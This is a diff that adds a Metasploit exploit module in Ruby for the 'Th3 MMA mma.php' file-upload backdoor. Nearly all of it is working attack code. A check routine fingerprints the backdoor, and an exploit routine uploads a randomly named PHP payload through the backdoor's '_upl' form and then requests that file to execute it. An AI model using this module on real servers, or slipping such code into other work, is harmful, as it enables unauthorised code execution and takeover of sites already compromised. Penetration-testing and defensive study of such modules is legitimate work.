|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Th3 MMA mma.php Backdoor Arbitrary File Upload', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that |
| 19 | + leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or |
| 20 | + operating system version because of the php_uname() function. |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Jay Turla <@shipcod3>', |
| 26 | + ], |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor |
| 30 | + ], |
| 31 | + 'Privileged' => false, |
| 32 | + 'Payload' => |
| 33 | + { |
| 34 | + 'Space' => 10000, |
| 35 | + 'DisableNops' => true |
| 36 | + }, |
| 37 | + 'Platform' => 'php', |
| 38 | + 'Arch' => ARCH_PHP, |
| 39 | + 'Targets' => |
| 40 | + [ |
| 41 | + ['mma file uploader', {} ] |
| 42 | + ], |
| 43 | + 'DisclosureDate' => 'Apr 2 2012', |
| 44 | + 'DefaultTarget' => 0)) |
| 45 | + |
| 46 | + register_options( |
| 47 | + [ |
| 48 | + OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "mma.php"]), |
| 49 | + ],self.class) # sometimes it is under host/images/mma.php so you may want to set this one |
| 50 | + end |
| 51 | + |
| 52 | + def check |
| 53 | + uri = normalize_uri(target_uri.path) |
| 54 | + res = send_request_cgi({ |
| 55 | + 'method' => 'GET', |
| 56 | + 'uri' => uri |
| 57 | + }) |
| 58 | + |
| 59 | + if res && res.body =~ /_upl/ |
| 60 | + return Exploit::CheckCode::Appears |
| 61 | + end |
| 62 | + return Exploit::CheckCode::Safe |
| 63 | + end |
| 64 | + |
| 65 | + def exploit |
| 66 | + uri = normalize_uri(target_uri.path) |
| 67 | + @payload_name = "#{rand_text_alpha(5)}.php" |
| 68 | + |
| 69 | + print_status("#{peer} - Trying to upload #{@payload_name} to mma.php Backdoor") |
| 70 | + |
| 71 | + data = Rex::MIME::Message.new |
| 72 | + |
| 73 | + data.add_part('Upload', nil, nil, 'form-data; name="_upl"') |
| 74 | + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@payload_name}\"") |
| 75 | + post_data = data.to_s |
| 76 | + |
| 77 | + res = send_request_cgi({ |
| 78 | + 'method' => 'POST', |
| 79 | + 'uri' => uri, |
| 80 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 81 | + 'data' => post_data |
| 82 | + }) |
| 83 | + |
| 84 | + if res |
| 85 | + if res.body =~ /uplod d0n3 in SAME file/ |
| 86 | + print_good("#{peer} - Our payload #{@payload_name} has been uploaded. Calling payload...") |
| 87 | + register_files_for_cleanup(@payload_name) |
| 88 | + else |
| 89 | + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") |
| 90 | + end |
| 91 | + else |
| 92 | + fail_with(Failure::Unknown, 'ERROR') |
| 93 | + end |
| 94 | + |
| 95 | + res = send_request_cgi({ |
| 96 | + 'uri' => normalize_uri(@payload_name), |
| 97 | + 'method' => 'GET' |
| 98 | + }) |
| 99 | + end |
| 100 | +end |
0 commit comments